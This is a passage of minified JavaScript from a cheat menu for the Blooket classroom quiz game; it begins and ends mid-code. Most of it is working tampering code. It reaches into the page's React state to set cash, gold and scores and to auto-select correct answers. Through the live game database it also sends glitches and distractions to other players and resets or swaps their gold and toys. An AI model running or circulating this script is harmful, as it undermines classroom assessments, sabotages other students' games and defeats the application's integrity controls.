Monster",color:"#2fa04a",class:"⚔️",rarity:"Uncommon",cash:[35e3,14e4,1e6,11e6,11e7],time:[5,5,4,4,4],price:[16e5,15e6,2e8,23e8]},{name:"Jester",color:"#be1e2d",class:"⚔️",rarity:"Rare",cash:[25e3,1e5,68e4,65e5,32e6],time:[3,3,2,2,1],price:[2e6,21e6,23e7,26e8]},{name:"Dragon",color:"#2fa04a",class:"⚔️",rarity:"Rare",cash:[36e3,15e4,15e5,15e6,15e7],time:[4,4,4,4,4],price:[23e5,24e6,27e7,3e9]},{name:"Unicorn",color:"#f6afce",class:"⚔️",rarity:"Epic",cash:[24e3,15e4,14e5,7e6,75e6],time:[2,2,2,1,1],price:[45e5,45e6,55e7,65e8]},{name:"Queen",color:"#9e1f63",class:"⚔️",rarity:"Rare",cash:[24e3,95e3,95e4,97e5,95e6],time:[3,3,3,3,3],price:[19e5,2e7,23e7,25e8]},{name:"King",color:"#ee2640",class:"⚔️",rarity:"Legendary",cash:[75e3,4e5,6e6,9e7,125e7],time:[5,5,5,5,5],price:[6e6,95e6,16e8,25e9]},{name:"Two of Spades",color:"#414042",class:"🏰",rarity:"Uncommon",cash:[4500,14e3,14e4,14e5,9e6],time:[1,1,1,1,1],price:[77e4,83e5,98e6,71e7]},{name:"Eat Me",color:"#d58c55",class:"🏰",rarity:"Uncommon",cash:[13e3,45e3,45e4,45e5,5e7],time:[2,2,2,2,2],price:[13e5,14e6,16e7,2e9]},{name:"Drink Me",color:"#dd7399",class:"🏰",rarity:"Uncommon",cash:[12e3,4e4,4e5,4e6,45e6],time:[2,2,2,2,2],price:[12e5,12e6,14e7,18e8]},{name:"Alice",color:"#4cc9f5",class:"🏰",rarity:"Uncommon",cash:[13e3,42e3,21e4,21e5,23e6],time:[2,2,1,1,1],price:[12e5,13e6,15e7,19e8]},{name:"Queen of Hearts",color:"#d62027",class:"🏰",rarity:"Uncommon",cash:[23e3,87e3,62e4,75e5,9e7],time:[4,4,3,3,3],price:[13e5,13e6,18e7,24e8]},{name:"Dormouse",color:"#89d6f8",class:"🏰",rarity:"Rare",cash:[17e3,68e3,7e5,35e5,35e6],time:[2,2,1,1,1],price:[2e6,22e6,25e7,28e8]},{name:"White Rabbit",color:"#ffcd05",class:"🏰",rarity:"Rare",cash:[26e3,105e3,11e6,77e5,72e6],time:[3,3,3,2,2],price:[2e6,23e6,28e7,29e8]},{name:"Cheshire Cat",color:"#dd7399",class:"🏰",rarity:"Rare",cash:[32e3,1e5,9e5,9e6,6e7],time:[4,3,3,3,2],price:[18e5,19e6,22e7,24e8]},{name:"Caterpillar",color:"#00c0f3",class:"🏰",rarity:"Epic",cash:[1e4,7e4,65e4,75e5,85e6],time:[1,1,1,1,1],price:[42e5,42e6,54e7,69e8]},{name:"Mad Hatter",color:"#914f93",class:"🏰",rarity:"Epic",cash:[38e3,25e4,15e5,14e6,8e7],time:[3,3,2,2,1],price:[48e5,48e6,52e7,66e8]},{name:"King of Hearts",color:"#c62127",class:"🏰",rarity:"Legendary",cash:[8e4,42e4,68e5,1e8,15e8],time:[5,5,5,5,5],price:[7e6,11e7,18e8,3e10]},{name:"Earth",color:"#416eb5",class:"🚀",rarity:"Uncommon",cash:[15e3,45e3,6e5,65e5,65e6],time:[3,3,3,3,3],price:[1e6,11e6,15e7,17e8]},{name:"Meteor",color:"#c68c3c",class:"🚀",rarity:"Uncommon",cash:[23e3,65e3,7e5,45e5,2e7],time:[5,4,3,2,1],price:[95e4,13e6,16e7,16e8]},{name:"Stars",color:"#19184d",class:"🚀",rarity:"Uncommon",cash:[1e4,4e4,2e5,2e6,18e6],time:[2,2,1,1,1],price:[14e5,14e6,15e7,15e8]},{name:"Alien",color:"#8dc63f",class:"🚀",rarity:"Uncommon",cash:[3e4,1e5,1e6,11e6,85e6],time:[4,4,4,4,4],price:[15e5,17e6,19e7,17e8]},{name:"Planet",color:"#9dc6ea",class:"🚀",rarity:"Rare",cash:[25e3,1e5,9e5,9e6,9e7],time:[3,3,3,3,3],price:[2e6,21e6,21e7,24e8]},{name:"UFO",color:"#a15095",class:"🚀",rarity:"Rare",cash:[17e3,7e4,7e5,7e6,7e7],time:[2,2,2,2,2],price:[21e5,23e6,25e7,28e8]},{name:"Spaceship",color:"#ffcb29",class:"🚀",rarity:"Epic",cash:[6e4,32e4,21e5,15e6,85e6],time:[5,4,3,2,1],price:[48e5,46e6,54e7,68e8]},{name:"Astronaut",color:"#9bd4ee",class:"🚀",rarity:"Legendary",cash:[45e3,26e4,25e5,38e6,55e7],time:[3,3,2,2,2],price:[65e5,1e8,17e8,27e9]},{name:"Lil Bot",color:"#3e564a",class:"🤖",rarity:"Uncommon",cash:[4e3,12e3,18e4,19e5,25e6],time:[1,1,1,1,1],price:[73e4,12e6,13e7,19e8]},{name:"Lovely Bot",color:"#f179af",class:"🤖",rarity:"Uncommon",cash:[16e3,65e3,65e4,48e5,42e6],time:[3,3,3,2,2],price:[13e5,14e6,17e7,16e8]},{name:"Angry Bot",color:"#f1613a",class:"🤖",rarity:"Uncommon",cash:[22e3,85e3,8e5,62e5,65e6],time:[4,4,4,3,3],price:[12e5,13e6,15e7,17e8]},{name:"Happy Bot",color:"#51ba6b",class:"🤖",rarity:"Uncommon",cash:[11e3,45e3,5e5,25e5,3e7],time:[2,2,2,1,1],price:[14e5,15e6,18e7,24e8]},{name:"Watson",color:"#d69b5a",class:"🤖",rarity:"Rare",cash:[24e3,1e5,1e6,1e7,1e8],time:[3,3,3,3,3],price:[2e6,22e6,24e7,26e8]},{name:"Buddy Bot",color:"#9dc6ea",class:"🤖",rarity:"Rare",cash:[22e3,95e3,65e4,65e5,65e6],time:[3,3,2,2,2],price:[19e5,21e6,23e7,25e8]},{name:"Brainy Bot",color:"#9ecf7a",class:"🤖",rarity:"Epic",cash:[5e4,25e4,21e5,21e6,17e7],time:[4,3,3,3,2],price:[5e6,46e6,5e8,67e8]},{name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9]}].map(e=>({name:e.name,value:JSON.stringify(e)})))}],run:function(e){var t=document.createElement("iframe"),t=(document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];10<=t.state.blooks.length&&alert("Choose a blook to replace"),t.chooseBlook(JSON.parse(e))}},{name:"Free Upgrades",description:"Sets upgrade prices to 0 for all current blooks",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState(e=>({...e,blooks:e.blooks.map(e=>({...e,price:[0,0,0,0]}))}))}},{name:"Max Blooks",description:"Maxes out all your blooks' levels",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.blooks.forEach(e=>e.level=4)}},{name:"Remove Glitches",description:"Removes all enemy glitches",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({bits:0,ads:[],hazards:[],color:"",lol:!1,joke:!1,slow:!1,dance:!1,glitch:"",glitcherName:"",glitcherBlook:""}),clearTimeout(e.adTimeout),clearInterval(e.hazardInterval),clearTimeout(e.nightTimeout),clearTimeout(e.glitchTimeout),clearTimeout(e.lolTimeout),clearTimeout(e.jokeTimeout),clearTimeout(e.slowTimeout),clearTimeout(e.danceTimeout),clearTimeout(e.nameTimeout)}},{name:"Send Glitch",description:"Sends a glitch to everyone else playing",inputs:[{name:"Glitch",type:"options",options:Object.entries({lb:"Lunch Break",as:"Ad Spam",e37:"Error 37",nt:"Night Time",lo:"#LOL",j:"Jokester",sm:"Slow Mo",dp:"Dance Party",v:"Vortex",r:"Reverse",f:"Flip",m:"Micro"}).map(([e,t])=>({name:t,value:e}))}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.safe=!0,t.props.liveGameController.setVal({path:`c/${t.props.client.name}/tat`,val:e})}},{name:"Set All MegaBot",description:"Sets all your blooks to maxed out Mega Bots",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({blooks:new Array(10).fill({name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9],active:!1,level:4,bonus:5.5})})}},{name:"Set Cash",description:"Sets amount of cash you have",inputs:[{name:"Cash",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({cash:e})}}],fishing:[{name:"Frenzy",description:"Sets everyone to frenzy mode",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.props.liveGameController.setVal({path:"c/"+e.props.client.name,val:{b:e.props.client.blook,w:e.state.weight,f:"Frenzy",s:!0}})}},{name:"Remove Distractions",description:"Removes distractions",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({party:""})},50))}},{name:"Send Distraction",description:"Sends a distraction to everyone",inputs:[{name:"Distraction",type:"options",options:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"]}],run:function(e){var t=document.createElement("iframe"),t=(document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];t.safe=!0,t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:t.state.weight,f:e,s:!0}})}},{name:"Set Lure",description:"Sets fishing lure (range 1 - 5)",inputs:[{name:"Lure (1 - 5)",type:"number",min:1,max:5}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({lure:Math.max(Math.min(e-1,4),0)})}},{name:"Set Weight",description:"Sets weight",inputs:[{name:"Weight",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({weight:e,weight2:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:e,f:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"][Math.floor(9*Math.random())]}})}}],flappy:[{name:"Toggle Ghost",description:"Lets you go through the pipes",type:"toggle",enabled:!1,run:function(){this.enabled=!this.enabled,Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>e.gameObject.frame.texture.key.startsWith("blook")&&(e.checkCollision.none=this.enabled,e.gameObject.setAlpha(this.enabled?.5:1)))}},{name:"Set Score",description:"Sets flappy blook score",inputs:[{name:"Score",type:"number"}],run:function(e){Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({score:e})}}],gold:[{name:"Always Triple",description:"Always get triple gold",type:"toggle",enabled:!1,data:null,run:function(){let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t._choosePrize||=t.choosePrize,this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null,t.choosePrize=t._choosePrize||t.choosePrize):(this.enabled=!0,this.data=setInterval(()=>{t.choosePrize=function(e){t.state.choices[e]={type:"multiply",val:3,text:"Triple Gold!",blook:"Unicorn"},t._choosePrize(e)}},50))}},{name:"Auto Choose",description:"Automatically picks the option that would give you the most gold",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(async()=>{try{let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if("prize"===o.state.stage){var s=Object.entries(await new Promise(t=>o.props.liveGameController.getDatabaseVal("c",e=>e&&t(e)))||[]).filter(e=>e[0]!=o.props.client.name).sort((e,t)=>t[1].g-e[1].g)[0]?.[1]?.g||0;let a=0;index=-1;for(let t=0;t{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.choices.forEach(({text:e},t)=>{var a,t=document.querySelector(`div[class^='styles__choice${t+1}']`);t&&!t.querySelector("div")&&((a=document.createElement("div")).style.color="white",a.style.fontFamily="Eczar",a.style.fontSize="2em",a.style.display="flex",a.style.justifyContent="center",a.style.transform="translateY(200px)",a.innerText=e,t.append(a))})},50))}},{name:"Reset Players Gold",description:"Sets a player's gold to 0",inputs:[{name:"Player",type:"options",options:()=>{let e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];return new Promise(t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e))):t([]))}}],run:function(e){var{props:t,state:a}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.liveGameController.setVal({path:"c/".concat(t.client.name),val:{b:t.client.blook,g:a.gold,tat:e+":swap:0"}})}},{name:"Set Gold",description:"Sets amount of gold",inputs:[{name:"Gold",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({gold:e,gold2:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,g:e}})}},{name:"Swap Gold",description:"Swaps gold with someone",inputs:[{name:"Player",type:"options",options:()=>{let e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];return new Promise(t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e))):t([]))}}],run:function(t){let a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];a.props.liveGameController.getDatabaseVal("c",e=>{e?.[t]&&(e=e[t]["g"],a.props.liveGameController.setVal({path:"c/".concat(a.props.client.name),val:{b:a.props.client.blook,g:e,tat:t+":swap:"+a.state.gold}}),a.setState({gold:e,gold2:e}))})}},{name:"Reset All Players' Gold",description:"Set's everyone else's gold to 0",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove();let{props:a,state:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],s=0;a.liveGameController.getDatabaseVal("c",async e=>{if(e)for(const t of Object.keys(e))a.liveGameController.setVal({path:"c/".concat(a.client.name),val:{b:a.client.blook,g:o.gold,tat:t+":swap:0"}}),s++,await new Promise(e=>setTimeout(e,4e3));alert(`Reset ${s} players' gold!`)})}}],kingdom:[{name:"Choice ESP",description:"Shows you what will happen if you say Yes or No",type:"toggle",enabled:!1,data:null,run:function(){if(this.enabled)this.enabled=!1,clearInterval(this.data),Array.from(document.getElementsByClassName("choiceESP")).forEach(e=>e.remove()),this.data=null;else{this.enabled=!0;let a=["materials","people","happiness","gold"],o=Object.fromEntries([...document.querySelectorAll("[class^=styles__statContainer]")].map((e,t)=>[a[t],e]));this.data=setInterval(()=>{var{guest:e,phase:t}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state;"choice"==t&&(Array.from(document.getElementsByClassName("choiceESP")).forEach(e=>e.remove()),Object.entries(e.yes||{}).forEach(e=>{var t;"msg"!=e[0]&&a.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;",t.innerText=String(e[1]),o[e[0]].appendChild(t))}),Object.entries(e.no||{}).forEach(e=>{var t;"msg"!=e[0]&&a.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: darkred; font-weight: bolder;",t.innerText=String(e[1]),o[e[0]].appendChild(t))}))},50)}}},{name:"Disable Tax Toucan",description:"Tax evasion",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.taxCounter=Number.MAX_VALUE}},{name:"Max Stats",description:"Sets all resources to the max",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({materials:100,people:100,happiness:100,gold:100})}},{name:"Set Guests",description:"Sets the amount of guests you've seen",inputs:[{name:"Guests",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({guestScore:e})}},{name:"Skip Guest",description:"Skips the current guest",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.nextGuest()}}],racing:[{name:"Instant Win",description:"Instantly Wins the race",run:function(){const e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({progress:e.state.goalAmount},()=>{const{question:a}=e["state"];try{[...document.querySelectorAll('[class*="answerContainer"]')][a.answers.map((e,t)=>a.correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]]?.click?.()}catch{}})}}],royale:[{name:"Auto Answer (Toggle)",description:"Toggles auto answer on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e?.onAnswer?.(!0,e.props.client.question.correctAnswers[0])},50))}},{name:"Auto Answer",description:"Chooses the correct answer for you",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e?.onAnswer?.(!0,e.props.client.question.correctAnswers[0])}}],rush:[{name:"Set Blooks",description:"Sets amount of blooks you or your team has",inputs:[{name:"Blooks",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({numBlooks:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/bs`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/bs`,val:numDefense})}},{name:"Set Defense",description:"Sets amount of defense you or your team has (Max 4)",inputs:[{name:"Defense (max 4)",type:"number",max:4}],run:function(e){var e=Math.min(e,4),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({numDefense:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/d`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/d`,val:e})}}],workshop:[{name:"Remove Distractions",description:"Removes all enemy distractions",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({fog:!1,dusk:!1,wind:!1,plow:!1,blizzard:!1,force:!1,canada:!1,trees:[!1,!1,!1,!1,!1,!1,!1,!1,!1,!1]})}},{name:"Send Distraction",description:"Sends a distraction to everyone else playing",inputs:[{name:"Distraction",type:"options",options:Object.entries({c:"Oh Canada",b:"Blizzard",f:"Fog Spell",d:"Dark & Dusk",w:"Howling Wind",g:"Gift Time!",t:"TREES",s:"Snow Plow",fr:"Use The Force"}).map(([e,t])=>({name:t,value:e}))}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.safe=!0,t.props.liveGameController.setVal({path:`c/${t.props.client.name}/tat`,val:e})}},{name:"Set Toys",description:"Sets amount of toys",inputs:[{name:"Toys",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({toys:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,t:e}})}},{name:"Set Toys Per Question",description:"Sets amount of toys per question",inputs:[{name:"Toys Per Question",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({toysPerQ:e})}},{name:"Swap Toys",description:"Swaps toys with someone",inputs:[{name:"Player",type:"options",options:()=>{let e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];return new Promise(t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e))):t([]))}}],run:function(a){let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];o.props.liveGameController.getDatabaseVal("c",e=>{var t;e&&Object.keys(e).map(e=>e.toLowerCase()).includes(a.toLowerCase())&&([e,{t}]=Object.entries(e).find(([e])=>e.toLowerCase()==a.toLowerCase()),o.props.liveGameController.setVal({path:"c/".concat(o.props.client.name),val:{b:o.props.client.blook,t:t,tat:e+":swap:"+o.state.toys}}),o.setState({toys:t}))})}}],settings:[{name:"Import Settings",description:"Import a custom theme",inputs:[{name:"JSON Data",type:"string"}],run:function(e){try{JSON.parse(e)}catch(e){return alert("Invalid JSON provided")}e={backgroundColor:"rgb(11, 194, 207)",infoColor:"#9a49aa",cheatList:"#9a49aa",defaultButton:"#9a49aa",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"#7a039d",contentBackground:"rgb(64, 17, 95)",...JSON.parse(e)},d.setItem("theme",e);for(const t in e)p.sheet.cssRules[0].style.setProperty("--"+t,e[t])}},{name:"Export Settings",description:"Export the current theme to JSON",run:async function(){await navigator.clipboard.writeText(JSON.stringify(d.data.theme,null,4)),prompt("Text copied to clipboard. (Paste below to test)")}},{name:"Defaults",description:"Changes all the settings to a preset",inputs:[{name:"Theme",type:"options",options:[{name:"Default",value:{backgroundColor:"rgb(11, 194, 207)",infoColor:"#9a49aa",cheatList:"#9a49aa",defaultButton:"#9a49aa",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"#7a039d",contentBackground:"rgb(64, 17, 95)"}},{name:"Blacket",value:{backgroundColor:"#4f4f4f",infoColor:"#2f2f2f",cheatList:"#2f2f2f",defaultButton:"#4f4f4f",disabledButton:"#eb6234",enabledButton:"#00c20c",textColor:"white",inputColor:"#3f3f3f",contentBackground:"#2f2f2f"}},{name:"Skool.lol",value:{backgroundColor:"linear-gradient(90deg, rgba(104,45,140,1) 220px, rgba(237,30,121,1) 100%)",cheatList:"#1e2124",infoColor:"#1e2124",defaultButton:"#36393e",inputColor:"#1e2124",enabledButton:"#9c9a9a",textColor:"white",disabledButton:"#171717",contentBackground:"#292929"}},{name:"Blue - Purple Background",value:{backgroundColor:"linear-gradient(162.5deg, rgba(0,183,255,1) 220px, rgba(128,0,255,1) 100%)"}},{name:"Saint Patricks Background",value:{backgroundColor:"rgb(9, 148, 65)"}},{name:"Halloween Background",value:{backgroundColor:"rgb(41, 41, 41)"}},{name:"Fall Background",value:{backgroundColor:"rgb(224, 159, 62)"}},{name:"Winter Background",value:{backgroundColor:"linear-gradient(rgb(49, 170, 224), rgb(187, 221, 255))"}},{name:"Crypto Hack",value:{backgroundColor:"radial-gradient(#11581e,#041607)",infoColor:"#1a1a1a",cheatList:"#1a1a1a",defaultButton:"rgb(88 175 88)",disabledButton:"#A02626",enabledButton:"#0b601b",textColor:"white",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"#11581e"}},{name:"Fishing Frenzy",value:{backgroundColor:"linear-gradient(180deg,#9be2fe 0,#67d1fb)",infoColor:"#c8591e",cheatList:"#c8591e",defaultButton:"#ff751a",disabledButton:"#bf0e0e",enabledButton:"#2fb62f",textColor:"white",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"radial-gradient(#02b0ea 40%, #1d86ea)"}},{name:"Deceptive Dinos",value:{backgroundColor:'radial-gradient(rgba(220, 184, 86, 0), rgba(220, 184, 86, 0.4)), url("https://ac.blooket.com/play/111cb7e0ee6607ac3d1a13d534c0e0f1.png"), #ead49a',infoColor:"#af8942",cheatList:"#af8942",defaultButton:"#af8942",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"rgb(0 0 0 / 10%)",contentBackground:"radial-gradient(rgba(1,104,162,.6),rgba(24,55,110,.5)),radial-gradient(#2783b4 1.5px,#18376e 0) center / 24px 24px"}},{name:"Blook Rush",value:{backgroundColor:"repeating-linear-gradient(45deg,white,white 8%,#e6e6e6 0,#e6e6e6 16%)",defaultButton:"#36c",inputColor:"rgb(0 0 0 / 25%)",infoColor:"#36c",cheatList:"#36c",contentBackground:"#888",textColor:"white",disabledButton:"#A02626",enabledButton:"#47A547"}},{name:"Factory",value:{defaultButton:"#1563bf",infoColor:"#a5aabe",cheatList:"#a5aabe",contentBackground:"#2d313d",backgroundColor:"#3a3a3a",enabledButton:"rgb(75, 194, 46)",disabledButton:"#9a49aa",inputColor:"rgb(0 0 0 / 25%)",textColor:"white"}},{name:"Cafe",value:{backgroundColor:"linear-gradient(90deg,rgba(200,0,0,.5) 50%,transparent 0) center / 50px 50px,linear-gradient(rgba(200,0,0,0.5) 50%,transparent 0) white center / 50px 50px",defaultButton:"#0bc2cf",inputColor:"rgb(0 0 0 / 25%)",infoColor:"#ac7339",cheatList:"#ac7339",contentBackground:"rgb(64, 64, 64)",textColor:"white",disabledButton:"#A02626",enabledButton:"#47A547"}},{name:"Tower of Doom",value:{backgroundColor:"rgb(41 41 41)",disabledButton:"rgb(151, 15, 5)",defaultButton:"#333",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"#404040",enabledButton:"#4bc22e",textColor:"white",infoColor:"#9a49aa",cheatList:"#9a49aa"}},{name:"Monster Brawl",value:{defaultButton:"rgb(45, 51, 67)",backgroundColor:"rgb(78, 95, 124)",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"linear-gradient(0deg,#374154,#4f5b74)",infoColor:"#374154",cheatList:"#374154",textColor:"white",enabledButton:"#47A547",disabledButton:"#A02626"}},{name:"Tower Defense 2",value:{backgroundColor:"url(https://media.blooket.com/image/upload/v1676164454/Media/defense/backgroundTd1-02.svg) center / cover",cheatList:"#a33c22",infoColor:"#a33c22",defaultButton:"#40b1d8",inputColor:"#3e8cbe",contentBackground:"#293c82",enabledButton:"#47A547",disabledButton:"#A02626",textColor:"white"}}]}],run:function(e){d.setItem("theme",{...d.data.theme,...e});for(const t in e)p.sheet.cssRules[0].style.setProperty("--"+t,e[t])}},{name:"Scale",description:"Forces the GUI to scale from 25%-100%",inputs:[{type:"number",name:"Percent scale",min:25,max:100,value:100*(d.data.scale||1)}],run:function(e){e=Math.min(Math.max(e,25),100),d.setItem("scale",e/100),k.style.transform=`scale(${e/100})`}},{name:"Hide Keybind",description:"Change the hide keybind (Click button after input to change)",inputs:[{type:"function",name:"Input",function:s=>T(({shift:e,ctrl:t,alt:a,key:o})=>s(""+[t&&"Ctrl",e&&"Shift",a&&"Alt",o&&o.toUpperCase()].filter(Boolean).join(" + ")))}],run:function(e){d.setItem("hide",e),h.update(d.data.hide||{ctrl:!0,key:"e"},d.data.close||{ctrl:!0,key:"x"})}},{name:"Close Keybind",description:"Change the quick close keybind (Click button after input to change)",inputs:[{type:"function",name:"Input",function:s=>T(({shift:e,ctrl:t,alt:a,key:o})=>s(""+[t&&"Ctrl",e&&"Shift",a&&"Alt",o&&o.toUpperCase()].filter(Boolean).join(" + ")))}],run:function(e){d.setItem("close",e),h.update(d.data.hide||{ctrl:!0,key:"e"},d.data.close||{ctrl:!0,key:"x"})}},{name:"Background Color",description:"Changes the background color of the GUI",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--backgroundColor",e),d.setItem("theme.backgroundColor",e)}},{name:"Category List Color",description:"Changes the categories list background color",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--cheatList",e),d.setItem("theme.cheatList",e)}},{name:"Info Color",description:"Changes the color of the information at the top of the GUI",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--infoColor",e),d.setItem("theme.infoColor",e)}},{name:"Button Color",description:"Changes the color of the cheats",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--defaultButton",e),d.setItem("theme.defaultButton",e)}},{name:"Enabled Toggle Color",description:"Changes the color of enabled toggle cheats",inputs:[{type:"string",name:"Color"}],run:function(e){d.setItem("theme.enabledButton",e)}},{name:"Disabled Toggle Color",description:"Changes the color of disabled toggle cheats",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--disabledButton",e),d.setItem("theme.disabledButton",e)}},{name:"Text Color",description:"Changes the text color",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--textColor",e),d.setItem("theme.textColor",e)}},{name:"Input Color",description:"Changes the color of inputs, like the set gold number input",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--inputColor",e),d.setItem("theme.inputColor",e)}},{name:"Content Color",description:"Changes the background color of the cheats",inputs:[{type:"string",name:"Color"}],run:function(e){p.sheet.cssRules[0].style.setProperty("--contentBackground",e),d.setItem("theme.contentBackground",e)}}],alerts:[{element:v("div",{className:"alertContainer",style:{margin:"15px 15px 5px 15px",backgroundColor:"rgb(0 0 0 / 50%)",width:"95%",height:"370px",borderRadius:"7px",display:"block",alignItems:"center",justifyContent:"center"}},v("ul",{className:"alertList",style:{margin:"10px 10px 0 10px",padding:"0",listStyleType:"none",display:"flex",flexDirection:"column-reverse",height:"355px",overflowY:"scroll",wordWrap:"break-word"}},v("li",{style:{margin:"5px"}},v("span",{style:{color:"var(--textColor)"},innerText:"[LOG] GUI opened"})))),addLog(e,t){return this.element.firstChild.prepend(v("li",{style:{margin:"5px"}},v("span",{style:{color:t||"var(--textColor)"},innerHTML:"[LOG] 